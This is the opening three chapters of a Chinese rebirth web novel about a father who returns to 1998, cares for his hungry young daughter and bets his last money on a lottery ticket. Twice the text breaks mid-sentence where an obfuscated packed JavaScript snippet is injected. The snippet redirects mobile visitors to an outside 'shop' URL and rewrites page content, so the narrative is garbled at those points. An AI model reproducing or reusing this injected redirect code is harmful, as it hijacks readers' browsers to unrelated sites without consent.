《重启人生从带娃开始称霸》 第一章:终局与开端 1998年的夏风还没来得及吹进回忆的褶皱, 2023年的深秋就用一场冷雨,把林凡的世界浇得透凉。 办公室里只剩他一个人,暖气早停了,冰冷的空气裹着窗外的霓虹钻进来—— 那霓虹是浸在墨水里的碎钻,亮得晃眼,却连指尖的温度都焐不热。 电脑屏幕泛着幽幽的蓝光,在他布满红血丝的眼底投下片冷影,旁边压着张照片: 十岁的笑笑穿着粉色公主裙,举着奶油快化了的生日蛋糕,嘴角的梨涡里像盛着刚晒过太阳的糖。 照片前的小香炉里,三支香燃得只剩半截,灰白的香灰簌簌往下掉,落在玻璃相框上,积成薄薄一层,像没化的雪。 今天是笑笑的生日。 也是她的忌日。 三年前的车祸像把生锈的刀,不仅剜走了女儿的呼吸,还劈碎了他的人生。妻子苏晚晴熬不过那份日夜啃人的悲痛,留下签了字的离婚协议,背着包走了,没回头。 剩下的只有一沓沓盖着红章的债务单,和一个钻进骨缝里的“如果”——如果那天他没赶项目加班,如果他能准时站在校门口的老槐树下,如果他能早到一分钟,把笑笑拉到马路这边…… 这个“如果”是条毒蛇,白天缠着他的喉咙,让他喘不过气;夜里钻进梦里,把“没接住女儿”的画面嚼了又嚼。此刻,极度的疲惫与悲痛像涨潮的海水,从脚底漫到胸口,猛地攥住他的心脏。 撕裂般的疼炸开时,他看见电脑屏幕的蓝光一点点暗下去,眼前的霓虹、照片、香炉都成了模糊的光斑,最后重重摔在冰冷的办公桌上,世界“咚”地沉进一片死寂的黑。 意识是没有重量的。 林凡觉得自己像飘在墨色的深海里,听不见呼吸,摸不到边际,连时间都成了软塌塌的棉花,捏不出形状。 不知道飘了多久,一阵尖锐的耳鸣突然刺进来,像细针挑破了死寂。 紧接着,一个小小的、带着哭腔的声音钻进来,起初是模糊的“爸爸”,后来越来越清晰,**絮般的颤音勾着他的神经,一下下挠在心上: “爸爸……醒醒……呜呜……爸爸你别睡……” 这声音……是笑笑? 是死后的幻觉吗?还是他终于追上了女儿的脚步? 林凡想睁眼,眼皮却重得像焊了铅,连抬一下都费劲。 就在这时,一股熟悉的气味撞进鼻腔—— 劣质白酒的辛辣气像针似的扎进来,混着老墙缝里渗出来的潮霉味,偏偏又绕着一缕土甜的清冽——那是苏晚晴总用的皂角洗衣皂,泡在水里搓揉时,会散出像春天刚冒芽的槐树叶似的香。 这是……机械厂老家属楼的味道!是他二十多岁时,和苏晚晴刚结婚那阵住的地方! 巨大的惊骇像电流窜过全身,他猛地攒起力气,硬生生掀开了那层沉重的“铅”。 眼睛睁开的瞬间,昏黄的光晃得他眯了眯——糊着旧报纸的屋顶,报纸边角卷着翘起来,印着“粮油调价”的标题都褪了色;一盏落满灰尘的钨丝灯泡悬在中间,被窗外的风吹得轻轻晃,在墙上投下摇曳的光斑,像跳动的萤火虫。 他躺在硬邦邦的木板床上,身上盖着条蓝色棉被,被面洗得发白,边角磨破了**,却裹着皂角的清香,暖烘烘地贴在皮肤上。 这不是他的办公室。不是2023年。 林凡“腾”地坐起来,心脏在胸腔里疯狂擂动,像要撞破肋骨跳出来,连耳膜都跟着嗡嗡响。 他环顾四周:斑驳的石灰墙上还贴着张旧年画,画里的胖娃娃抱着鲤鱼,颜料掉得只剩个模糊的轮廓;老式木质衣柜的门掉了块漆,露出里面浅黄的木头原色,门轴“吱呀”响着,像老槐树在叹气;书桌上摆着个掉瓷的搪瓷杯,杯身上“劳动光荣”的字样磨得快看不见了;窗台上几盆吊兰蔫头耷脑的,叶子上沾着点灰尘,连最嫩的尖儿都垂着。 每一个细节都像钥匙,“咔嗒”一声撬开了记忆的闸门。 这是他和苏晚晴的婚房。是笑笑出生后,最初的家。 “爸爸……你醒了?” 哭腔又响起来,带着怕怕的颤音,小嗓子里还堵着哭嗝, “爸爸你不要死……笑笑会乖的……” 林凡猛地转头,目光砸向床尾的地面。 一个小小的身影蜷缩在那里,蹲在冰冷的水泥地上。旧汗衫的袖口卷了三层还盖过手背,领口洗得松松垮垮,露出细细的、泛着青的脖颈;枯黄的头发里沾着点灰尘,梳得歪歪扭扭,像团没理顺的棉线;哭的时候肩膀缩成小小的一团,像被雨打蔫的蒲公英,风一吹就会倒。 直到那孩子慢慢抬头—— 泪汪汪的眼睛像蒙着雾的黑葡萄,鼻尖红得像颗熟樱桃,小脸上还挂着没擦干的泪珠,连睫毛都湿成了一缕缕,沾着细细的灰尘。 轰! 林凡的大脑像被惊雷劈中,所有的思绪瞬间炸成空白,连耳朵里的嗡嗡声都停了。 是笑笑。 是活生生的、只有三四岁的笑笑。 不是相框里定格的笑脸,不是墓碑上冰冷的名字, 是能哭、能叫“爸爸”、能让他摸到温度的笑笑! 巨大的情感洪流瞬间冲垮了他的理智。他连滚带爬地翻下床,腿软得像踩在棉花上,膝盖“咚”地砸在水泥地上,钝痛像针似的扎进来,他却连缩都没缩。 他扑到女儿面前,双腿一软跪倒在地,双手抖得像筛糠,伸出去又缩回来——指尖刚碰到她温热的脸颊,就像触到了烧红的炭火,又惊又怕,怕这一碰,眼前的一切就碎了。 “笑……笑笑?” 他的声音干得像砂纸摩擦,每个字都裹着难以置信的颤抖, “真的……是你吗?” 小女孩被他激烈的反应吓了一跳,肩膀瑟缩了一下,怯生生地看着他,大眼睛里又蓄满了泪,小嘴一瘪,带着哭腔: “爸爸……你别吓笑笑……你不要再睡了好不好?” “笑笑……我的笑笑……” 确认不是梦的瞬间,前世的画面猛地撞进来——笑笑倒在血泊里的苍白小脸,冰冷的小手,还有他当时抱着女儿,撕心裂肺喊到嗓子出血的哭喊。两世的画面在眼前重叠,刻骨铭心的悔恨、失而复得的狂喜、三年来日夜啃噬他的痛苦,像火山一样轰然爆发! 他再也忍不住,一把将女儿搂进怀里。小小的身体软乎乎的,带着点奶味的温热,贴着他的胸口时,连心跳都变得真实起来。 他用尽全力抱着,像要把她揉进自己的骨血里,再也不分开。 滚烫的泪水砸在笑笑的旧汗衫上,洇出小小的湿痕,他失声痛哭,哭得像个迷路了十年的孩子,终于摸到了家的门。 “对不起……笑笑……对不起……” 他语无伦次,一遍遍地重复,声音哽咽得几乎断气, “是爸爸不好……是爸爸错了……以前让你受了那么多委屈……” 怀里的笑笑起初僵着,小身子还在微微发抖。可孩子的心灵最懂真心,她慢慢感受到爸爸拥抱里的疼、爱和庆幸,小手笨拙地抬起来,一下一下拍着林凡的后背,声音软软的,还带着点哭腔: “爸爸不哭……笑笑乖……笑笑给你拍拍……就不疼了……” 这稚嫩的安慰像一剂良药,缓缓淌进林凡崩溃的灵魂里。 他的抽泣渐渐平复,汹涌的情绪退去后,只剩下无比清晰的决心—— 上天给了他一次奇迹般的机会,让他回到了悲剧发生之前,这一次,他绝不再让任何遗憾发生!绝不让笑笑再受一点苦! 他稍微松开点怀抱,双手紧紧握着女儿瘦小的肩膀,通红的眼睛贪婪地看着她的脸:脸色是营养不良的蜡黄,嘴角还沾着点干涸的米粥渍,头发枯黄稀疏,眼神里带着点这个年纪不该有的怯懦,像只受惊的小兔子。 前世的他,下岗后就像个废人,整天怨天尤人,抱着酒瓶度日,把家里的积蓄喝光,把苏晚晴的眼泪哭干,连笑笑拉着他的衣角,说“想吃块水果糖”都舍不得买。 混蛋!前世的自己真是个彻头彻尾的混蛋! 一股熊熊烈火在他心里烧起来,烧尽了所有的迷茫和软弱。他抹掉脸上的泪痕,深吸一口气,努力挤出一个温柔又坚定的笑容,声音虽然还哑着,却带着不容置疑的力量: “爸爸没事,”他轻轻刮了下笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16607467|187589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笑的小鼻子,指尖的触感软得让人心疼, “爸爸就是做了个好长好可怕的噩梦,现在醒了,看到笑笑,就什么都好了。饿不饿?爸爸去给你做好吃的,好不好?” 他站起身,环顾这个家——墙皮斑驳,家具老旧,连件像样的东西都没有,可此刻在他眼里,却盛满了无限的希望。 可现实的冰冷很快就浇了下来。 他拉开抽屉,“吱呀”的响声在安静的屋里格外刺耳。手指在抽屉底抠了半天,只摸出几张卷边的废纸,指甲缝里蹭了层灰;衣柜角落积着厚厚的尘,连件干净衣服都找不到;昨天穿的裤子口袋里,只有半根皱巴巴的烟,烟丝都掉了出来。 最后,他在书桌的搪瓷杯底下摸到了东西——三张软塌塌的一元纸币,边缘磨得发毛,还有几张颜色褪成浅黄的地方粮票,早就在市面上不流通了。 总共,三块七毛钱。 他打开那个用了几十年的老旧矮柜——家里连冰箱都没有,夏天的剩菜只能靠凉水镇着。柜子里只剩小半碗干硬的剩粥,结了层薄薄的皮,用筷子戳一下,都能听到“咔嗒”声; 旁边的碟子里躺着半碟咸菜,颜色发暗,上面还沾着点霉点。米缸掀开时,能看见缸底铺着层薄薄的米,连缸底的花纹都露出来了;油瓶倒过来,也只滴下两滴油星,落在碗里,溅不起一点涟漪。 生存的压力像块冷硬的石头,重重压在他心上。 他猛地想起——现在是1998年的夏天,他刚从县机械厂下岗不到两个月。前世的这个时候,他正泡在酒里,把家里值钱的收音机、手表都变卖了换酒喝,才留下这点钱,还有床底下那瓶没喝完的劣质白酒。 林凡捏着手里的三块七,指节都捏白了,眉头皱得紧紧的。 第一步,他必须立刻弄到钱,不用多,至少能让笑笑吃上一顿有肉的饭,穿上件合身的新衣服,不用再穿洗得变形的旧汗衫。 他强迫自己冷静下来,闭上眼睛,拼命在记忆里打捞——1998年的夏天,这个小县城里,有什么能让他快速、安全地赚到第一桶金? 股票?他连K线图都看不懂,更没本钱。走私?违法的事绝不能碰,他不能再给笑笑留下任何风险。 忽然,一个片段猛地撞进脑海! 他记得清清楚楚!前世下岗后最颓废的这段时间里,大概是现在的第三天,本地福利彩票会开出一注二等奖,奖金有整整五万块! 之所以记得这么牢,是因为中奖号码的后四位是“0518”——那是笑笑的生日! 前世的他酒醒后,在菜市场的墙报上看到中奖新闻,还对着空酒瓶破口大骂,说自己连女儿的生日都忘了,要是当时记起来,买一注,说不定就能中了! 这个记忆像道闪电,瞬间照亮了他眼前的迷雾!他所有的钱加起来,刚好够买一注彩票! 可焦虑立刻跟着来了——今天到底是几号? 他昏睡了多久?距离开奖还有几天? 最重要的是,那组号码的前几位到底是什么? 他掐着掌心拼命想,脑壳里像塞了团乱麻,前几位数字模糊得像蒙了雾, 只有“0518”这四个数字,清晰得像刻在脑子里。 他急得汗都渗出来了,后背的衣服贴在身上,凉得难受。 目光像探照灯一样在屋里扫,最后死死盯在书桌角落——那里压着张揉得皱巴巴的本地晚报,边角都卷了,是用来垫桌脚的。 他一个箭步冲过去,一把抽出报纸,手指抖得厉害,费了好大劲才把报纸展平。头版的日期像钉子一样扎进他眼里,烫得他心口发紧: 【1998年7月15日,星期三】 林凡的呼吸骤然停了,连血液都像冻住了。 彩票开奖日是…… 他猛地抬头,看向墙上的日历。 那本日历薄薄的,纸页都泛黄了,撕过的页角翘着,15日的数字旁边,还画了个歪歪扭扭的“酒”字——是前世的自己记的,那天要去打酒。 他的心脏几乎要跳到嗓子眼,目光死死钉在日历上,连呼吸都忘了,只听见自己“咚咚”的心跳声,在安静的屋里格外响。 第二章:笨拙的第一步 林凡的目光像生了根似的,死死钉在墙上的日历—— 1998年7月15日,星期三。 心脏猛地被一只无形的手攥紧,连呼吸都顿了半拍,又“咚”地一下炸开,狂喜和焦虑搅成一团,顺着血管往四肢窜。 明天!就是7月16日! 本地福利彩票开奖的日子! 那组后四位烙着“0518”的二等奖号码,像座闪着暖光的金山,明明就悬在眼前,却又怕一伸手,就碎成指尖的泡沫。 他用力咬了咬下唇,铁锈味混着口腔的干涩漫上来,强迫自己深吸一口气——胸腔里的心跳还是快得像擂鼓,震得耳膜嗡嗡响。 不能慌,每一步都得踩稳。现在最要紧的不是那五万块奖金,是手里攥着的三块七毛钱,是怎么让笑笑安安稳稳熬过今天。 转过身时,脸上的急色早被他揉成了温和的笑。 笑笑还站在原地,小手紧紧攥着衣角,指节都泛了白,大眼睛里剩着点没散的怯意,像只刚从雨里捞出来、还没缓过劲的小兔子。 “笑笑不怕,爸爸没事了。” 林凡放轻脚步走过去,慢慢蹲下身子,尽量让视线和女儿齐平,声音软得像晒过太阳的棉花, “爸爸刚才就是睡迷糊了,跟做了场长梦似的。肚子是不是早咕咕叫了?爸爸给你弄点吃的,好不好?” 笑笑的小手下意识往肚子上摸了摸,又飞快地缩回来,指尖还沾着点衣角的线头。 她轻轻点了点头,长长的睫毛垂下来,遮住了眼底那点藏不住的期待。林凡的心疼得像被细针扎了下——这孩子,是饿了多久,连说“饿”都不敢直白开口。 他牵着笑笑的手起身,指尖触到一片冰凉,赶紧把那只小手攥紧了些,用掌心的温度裹住。所谓的“厨房”就挤在墙角,一个掉了漆的蜂窝煤炉子歪歪扭扭立着,炉口还沾着上次没刮干净的煤渣; 旁边的旧纱柜纱门松垮得挂不住,风一吹就“吱呀”响;水槽边缘的瓷掉了一大块,露出里面发黑的铁,像缺了块牙的嘴。 林凡先拿起炉子上的铝壶晃了晃,“哐当哐当”的空响在安静的屋里炸开,格外清楚。 “笑笑乖,在这儿等爸爸一会儿,爸爸去接壶水,马上就回来。” 他把水壶挎在胳膊上,壶底的凉意在皮肤上硌出印子,快步走出房门。 筒子楼的公共水房在走廊尽头,清晨的水汽混着肥皂的清苦味飘过来,裹着大妈们聊天的碎话。 几个早起的婶子围着水龙头,有的在搓衣服,泡沫顺着指缝往下淌;有的在择菜,烂菜叶丢了一地。 看见林凡过来,原本叽叽喳喳的声音顿了顿,目光“唰”地全聚过来——有同情的,像看个可怜人;有漠然的,眼皮都没抬一下;还有丝藏不住的鄙夷,像针似的扎在他背上。他下岗后抱着酒瓶骂街、把家里摔得乱七八糟的样子,早成了这栋楼茶余饭后的“谈资”。 林凡头都没抬,指尖拧开水龙头,水流“哗哗”地冲进铝壶,溅起的水珠打湿了裤脚,凉得透骨,他也没在意。现在他没心思管别人怎么看,笑笑还在屋里等着喝热水呢。 接满水往回走时,正好撞见二楼的王大爷拎着菜篮子上来。篮子里躺着几根蔫了的黄瓜,裹着层土。大爷叹了口气,粗糙的手掌拍了拍他的肩膀,力道不轻不重: “凡子啊,别总跟酒瓶子较劲了,孩子还小,不能没人管。”林凡的脚步顿了顿,喉结滚了滚,低声应了句“知道了,大爷”,就抱着水壶快步走了。 推开门的瞬间,他一眼就看见笑笑——还是站在原地,小手紧紧攥着桌腿,指节都泛了青,大眼睛直勾勾地盯着门口,像株盼着阳光的小苗。看到他进来,小肩膀才悄悄松了些,连呼吸都轻了。 “怎么不坐着等?” 林凡把水壶放在炉子上,伸手摸了摸女儿的头,指尖触到细软的头发,还有点扎手。鼻子突然就酸了——这孩子,是怕他走了就不回来吧? 他蹲下来点炉子,手指捏着火柴,划了三次才擦出火星。火苗“噌”地窜起来,又很快弱下去,他赶紧把火柴凑到煤球孔上。 蜂窝煤的火星子簌簌往下掉,烫得他指尖一缩,疼得倒吸口凉气,脑子却清醒了些。身体里还留着以前点炉子的记忆,可手早就生了,连捏火柴的力道都控不好。 等炉子慢慢烧旺,蓝盈盈的火苗舔着壶底,他才转身去翻“食材”。 纱柜里空荡荡的,隔板上积着层薄灰。翻了半天,才在最里面的角落摸到小半碗剩饭,硬得能硌牙,用手指戳一下,都能听见“咔嗒”声; 还有小半袋发黄的面粉,袋口开了个口子,边缘沾着点灰,像是放了很久。 他盯着这两样东西,眉头拧成了疙瘩——前世家务都是苏晚晴打理,他最多煮个泡面,连粥都没正经熬过一次。 水壶很快就“呜呜”地冒起了热气,壶盖被蒸汽顶得“哒哒”响。林凡舀了半碗热水,又兑了点凉水,指尖探进去试了试温度,不烫不凉,才端到笑笑面前: “先喝点温水暖暖肚子,好不好?” 笑笑两只小手捧着搪瓷杯,杯沿还缺了个小口。她小口小口地喝着,温热的水汽飘在她脸上,把那点蜡黄的脸色熏出了丝血色。 林凡看着她,心里更急了,转身盯着那碗剩饭,琢磨着怎么弄熟。 最后还是决定做面糊粥——听起来最简单,不用费什么劲。他把剩饭倒进锅里,加了两碗水,把锅坐在炉子上。 等水“咕嘟咕嘟”冒泡,饭粒慢慢散开时,他舀了三勺面粉,放在碗里加凉水调稀。 可手一抖,面糊“哗啦”一声全倒进了锅,瞬间结成了大大小小的疙瘩,像没揉开的棉絮。 “坏了!”林凡慌忙拿起锅铲,铁铲刮着锅底,发出“刺啦刺啦”的刺耳声,听得他自己都皱紧了眉。好不容易把大疙瘩搅散些,一股淡淡的焦糊味又飘了过来——锅底粘住了! 他慌得手忙脚乱,赶紧把炉火拧小,额头上沁出一层细汗,顺着太阳穴往下淌。又往锅里加了点热水,搅了半天,才勉强把粥救回来。 最后端到笑笑面前的,是一碗半稀不稠的东西,飘着点焦糊味,碗底还沉着没搅开的小面疙瘩,连点糖或盐都找不到,只能吃个“原味”。 林凡看着这碗算不上“粥”的“杰作”,喉咙紧得发疼。 “笑笑,对不起,爸爸……爸爸没做好。”他的声音低了些,带着点懊恼,“你先凑合吃一点,等晚上,爸爸一定给你买肉包子,好不好?” 他舀起一勺粥,放在嘴边吹了又吹,直到指尖碰着勺底不烫了,才递到笑笑嘴边,眼睛都不敢眨,死死盯着女儿的反应,连呼吸都放轻了。 笑笑先看了看碗里的粥,又抬头看他——爸爸的眉头皱得紧紧的,眼神里满是紧张,像个怕被老师批评的学生。 她迟疑了一下,还是慢慢张开小嘴,把粥含了进去。 小眉头轻轻皱了一下,显然味道不怎么样,可她没吐出来,慢慢咽下去,又抬起头,小声说: “爸爸,能吃的。” 林凡的眼眶“唰”地就热了,眼泪差点掉下来。 这么懂事的孩子,前世他怎么就瞎了眼,天天抱着酒瓶子浑浑噩噩,连她想吃块糖都舍不得? 他忍着发酸的鼻子,一勺一勺地喂,笑笑也不挑剔,乖乖地吃了小半碗,最后还伸出舌头,轻轻舔了舔嘴角沾着的粥粒,小声说“饱了”。 刚把碗放在桌上,门口就传来个尖细的声音,裹着点八卦的试探,像根细针似的扎进来: “哎呦,凡子今天起这么早?还自己开火做饭了?这太阳是打西边出来了吧?” 林凡抬头,就看见张婶探着半个身子往屋里瞧,脑袋转来转去,目光在他和笑笑之间打了个转,最后落在那碗卖相凄惨的粥上,嘴角轻轻撇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16607468|187589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了撇,那点嫌弃藏都藏不住。 张婶是这层楼有名的“包打听”,心眼不算坏,就是嘴碎,爱凑个热闹看个笑话,谁家的事都能被她传得整栋楼知道。 换作以前的林凡,要么拎着酒瓶子骂回去,要么臊得满脸通红,缩进里屋不敢出来。可现在的他,只是慢慢站起身,甚至还扯出了个淡笑,语气不卑不亢: “张婶早。以前是我不懂事,光顾着自己难受,没顾上孩子。以后得好好过日子,总不能让孩子跟着饿肚子。” 他的声音里没了以前的颓废,多了点沉下来的稳,倒让准备看笑话的张婶愣了一下,原本到了嘴边的打趣话,卡在喉咙里半天没吐出来。 她狐疑地打量着林凡——头发理得还算整齐,衣服虽然旧,却洗得干干净净,连说话的眼神都变了,可到底哪儿不一样了,她又说不上来。 “啊……是,是这么个理儿,” 张婶讪讪地搓了搓手,眼神还往那碗粥上瞟,又摇了摇头, “孩子要紧,确实得顾着孩子……” 说完就赶紧缩回身子,脚步匆匆地走了,估计是去楼下的小卖部,跟其他大妈说“林凡今天没喝酒还做饭了,就是做糊了”的新鲜事。 林凡关上门,没把这点小事放在心上。喂饱了笑笑(哪怕只是碗糊粥),下一步就是最关键的——买彩票。 他从抽屉里摸出那三张一元纸币,指尖小心翼翼地把皱巴巴的边角一点点抚平,叠得方方正正,放进裤子内侧的口袋,又把那七毛钱硬币塞进另一个口袋,硬币“叮当”响了声,在安静的屋里格外清晰。这薄薄的几张纸、几枚硬币,就是他和笑笑今天所有的依靠了。 “笑笑,爸爸带你出去转转,好不好?” 林凡拿起条洗得发白的毛巾,沾了点温水,仔细擦了擦笑笑的脸,连眼角的细纹都擦到了,又握着她的小手,把指甲缝里的灰一点点抠干净。 听到“出去”两个字,笑笑的大眼睛“唰”地亮了,像落了颗星星在里面,赶紧用力点了点头,小手紧紧抓住他的衣角,指尖都攥得发白。 林凡弯腰抱起女儿,胳膊刚一沉,心里就揪了下——这孩子也太轻了,轻飘飘的像片羽毛,抱在怀里几乎没什么分量。 他赶紧把笑笑搂紧了些,让她的小脑袋靠在自己肩膀上,感受着怀里的温热,眼神变得格外坚定。 推开那扇吱呀作响的木门,清晨的阳光有点刺眼,洒在走廊斑驳的墙皮上,把空气里的煤烟味都晒得暖了些。 林凡深吸了口气——九十年代夏天的早晨,混着蜂窝煤的烟火气、隔壁煎鸡蛋的油香,还有远处传来的自行车铃声“叮铃铃”地飘过来,满满都是活着的味道。 他抱着笑笑,一步一步走下楼梯。水泥楼梯的台阶缺了角,边缘磨得光滑,每踩一步都有点晃,可他走得很稳,像踩在新人生的起点上,每一步都透着踏实。 筒子楼外的街很热闹。 自行车一辆接一辆地窜过去,铃声“叮铃铃”响成一片;卖豆浆的小贩推着铁皮车,嗓子喊得洪亮:“热豆浆——甜口咸口都有,五毛钱一碗!”; 早点铺的蒸笼冒着白气,肉包子的香味飘得老远,勾得人肚子直叫。笑笑趴在他肩膀上,小脑袋转来转去,眼睛里满是好奇,连嘴角都悄悄翘了点。 林凡站在街边,目光扫过对面的巷子——他记得很清楚,福利彩票销售点就在巷子里的杂货铺旁边,门口挂着个红布招牌,写着“福利彩票,好运相伴”。 他的手摸了摸内侧口袋里的三块钱,指尖能感受到纸币的纹路,又紧了紧怀里的笑笑,心里又沉又暖。 沉的是眼下攥着的窘迫,暖的是怀里揣着的希望。他抬头望了望天上的太阳,暖光落在脸上,连心里的角落都亮了。 他知道,从迈出这一步开始,他和笑笑的人生,再也不会像前世那样,掉进无边的黑暗里了。 第三章:孤注一掷的希望 林凡抱着笑笑踏出筒子楼时,九十年代的县城清晨正裹着粗粝的烟火气撞进怀里。 柏油路面坑坑洼洼,补着几块深色沥青补丁,被刚爬过屋顶的太阳晒得泛着暖光,鞋底踩上去能沾到隔夜的灰尘,还带着点露水的潮气。 电线杆上贴满了“专治脚气”“疏通管道”的小广告,边角被风吹得卷起来,像耷拉着的破布。 “叮铃铃”的自行车铃声此起彼伏,穿蓝灰工装的男人骑着二八大杠,车把上挂着铝饭盒,盒盖没扣紧,偶尔晃出点米汤的白印,链条“咔嗒咔嗒”响得像在数着时间; 女人坐在后座,怀里抱着印着“劳动光荣”的蓝布包,头发用黑色发网拢着,发梢沾着点棉絮,催着 “快点,再晚车间要锁门了”。 路边的小吃摊支着锈迹斑斑的铁皮棚,油条在滚油里“滋滋”冒泡,金黄的油花溅到地上,瞬间凝成小油点; 炸糕的焦糖甜香混着油条的油腥气飘过来,又裹着远处拖拉机“突突”的柴油味,粗粝里裹着活气,像刚蒸好的白面馒头,热乎又实在。 这一切都带着久违的暖意,像幅褪了色却浸着体温的老画。 林凡站在街边,恍惚了几秒—— 2023年的高楼冷光、办公室的死寂、香炉里簌簌掉的香灰,好像真的只是场漫长的噩梦,眼前这喧闹的街景、嘈杂的人声、甚至空气里的油烟味,才是能抓得住的真实。 “爸爸……” 笑笑的小手突然攥紧他的衬衫领子,指节泛白,声音软得像浸了水的棉花,还带着点颤。 她很少在这个时辰出门,大眼睛像受惊的小鹿,怯生生地扫过路过的行人、晃眼的红招牌,小脑袋不自觉往他颈窝里埋了埋,温热的小脸贴着他的皮肤,连呼吸都轻得像羽毛。 女儿的体温让林凡猛地回神。 他深吸一口气,胸腔里的慌乱慢慢压下去,目光骤然锐利起来,像搜寻猎物的鹰隼, 扫过街边的店铺——杂货店的红招牌掉了漆,“便民百货”的“便”字缺了一点,露出底下的木头底色; 修鞋摊的铁砧上摆着半块橡皮,师傅正低头砸着鞋钉,“当当”的响声混在人声里; 裁缝铺里传出缝纫机“哒哒”的节奏,布料的碎末飘在门口,沾着点彩色线头; 巷口还有群老人围着下棋,落子声“啪”地响,吵吵嚷嚷的。 记忆像被潮水冲过的沙滩,好多细节都模糊了, 但那个写着“中国福利彩票”的绿色小窗口,他记得很清楚,就在机械厂职工上下班的必经之路上,挨着卖酱油的铺子。 他抱着笑笑慢慢走,阳光渐渐热起来,晒得后颈发暖,连衬衫都贴在了皮肤上,汗湿的地方凉丝丝的。 笑笑怕晒,把小脸贴在他的颈窝,温热的呼吸混着点奶味拂过,让他下意识攥紧了口袋里的三块钱——纸币被体温焐得发潮,边缘卷了**,却像块沉甸甸的石头,压着他和笑笑的希望。 走了大概五六分钟,在拐角杂货店的侧边,终于看见那抹熟悉的绿:窗口上方拉着红横幅,印着“奉献爱心,幸运降临”,字都褪成了浅粉,边角还撕了个小口; 玻璃上贴满了泛黄的开奖公告,边角卷着翘起来,还沾着点苍蝇屎,最底下压着张去年的旧报纸。 就是这里! 林凡的心脏猛地撞了下肋骨,疼得他倒吸口气,抱着笑笑的手臂不自觉收紧,连指节都泛了白。他快步走到窗口前,里面坐着位打毛线的阿姨, 五十多岁,老花镜滑在鼻尖,镜片上沾着点灰,手里的毛线针“哒哒”戳着,织的是条藏青色围巾,针脚歪歪扭扭的。 “同志,买彩票。”他的声音有点干,喉咙发紧,像卡了沙粒,说话时还带点颤。 阿姨抬头推了推眼镜,先瞥了他一眼——男人脸色发黄,眼下有淡淡的青黑,衬衫袖口磨破了边,露出里面的旧秋衣; 又扫过他怀里的笑笑,小姑娘头发枯黄,扎着歪歪扭扭的小辫,衣服洗得发白,领口都变形了,正怯生生地躲在男人怀里,小手抓着男人的衣角。 她眼神里露出点见怪不怪的淡漠,手里的毛线针没停,线团滚到桌边,也懒得捡,嘴里嘟囔着: “机选还是自选?” 这年头想靠彩票翻身的穷小子多了,拖家带口来碰运气的,她见得不少,大多是空手而归。 “自选。” 林凡毫不犹豫,手伸进口袋,指尖攥住那三张被汗浸得发潮的纸币, 指腹能摸到“1990”字样的纹路。 深吸一口气时,胸腔里的心跳还在乱撞,像要蹦出来, 他拼命回忆那组号码——后四位“0518”像刻在脑子里, 是笑笑的生日,哪怕前世再浑,这个数字他也绝不会错。可前几位呢? 记忆里像蒙了层湿棉花,数字滑来滑去抓不住。 好像有个“3”?上次想的时候, 脑子里闪过个“8”? 中间是不是夹着个“0”? 额角的汗慢慢渗出来,顺着太阳穴往下淌,滴在衬衫领口,洇出个小湿点。 他盯着窗口玻璃上自己的影子——脸色蜡黄,眼神慌慌的,像个赌输了还想翻盘的赌徒。 如果记错一个数字,那五万块奖金、那能让笑笑吃饱穿暖的机会,就全没了。 这三块钱,是他和笑笑今天的全部家当,连顿热乎的肉包子都买不起。 “快点啊小伙子,后面还有人呢。” 阿姨不耐烦地催了句,其实窗口后连个人影都没有。 她把毛线针在指尖绕了圈,又戳了戳,织错了一针,烦躁地拆了重织,语气里的嫌弃藏都藏不住: “磨磨蹭蹭的,想买就快点,不买别耽误**活。” 笑笑好像感觉到他的紧张,小身子在怀里轻轻颤了下,小手抓得更紧了,连呼吸都放轻了,生怕惹爸爸不高兴。 林凡咬牙——不能犹豫! 这是眼下唯一的机会,就算是赌,也得赌一把! 他凭着模糊的印象,把数字在脑子里凑了又凑,前世没中奖的懊悔像针似的扎着他, 终于定了下来:3、8、0、5、1、8。 念出来的瞬间,心里竟涌上股莫名的确信,像冥冥中女儿在帮他。 “号码是3、8、0、5、1、8。” 他一字一顿,声音发颤却清晰,把三张皱巴巴的纸币递进去。纸币沾着汗,贴在指尖,沉得像块铁,连手都酸了。 阿姨接过钱,随便扫了眼就塞进抽屉,手指在彩票机上飞快按了几下,指甲盖里还沾着点毛线头。 “咔哒”几声,一张薄薄的彩票从机器里吐出来,边缘还带着机器的余温,泛着点油墨味,像片刚从树上落的叶子。 她随手把彩票扔过来,像扔张废纸: “晚上七点开奖,自己去街口公告栏看。祝你好运啊。” 语气平淡得像在说“今天天挺好”,显然不信这个穿得破破烂烂的年轻人能中什么奖。 林凡赶紧伸手接住,指尖捏着彩票,薄纸边缘硌得指腹发疼,却不敢松一点劲,生怕一松手就碎了。 他把彩票凑到眼前,眯着眼,一遍遍地核对数字——3、8、0、5、1、8,一个数字都没错! 悬着的心“咚”地落回肚子里,后背却已经被冷汗浸得发潮,连衬衫都贴在了皮肤上,凉得刺骨,像刚淋过冷水。 他把彩票对折,再对折,小心翼翼地塞进裤子内侧的口袋,又用手按了按,确认不会掉出来。那小小的一张纸,此刻比黄金还重,是他和笑笑的全部希望,是能让他们不用再饿肚子的光。 可希望刚落,现实的窘迫就像盆冷水,“哗啦”一声浇在头上。 他摸了摸另一个口袋,七枚钢镚儿“叮当”响,没一点欢快劲——买彩票花了三块,就剩这七毛钱了。 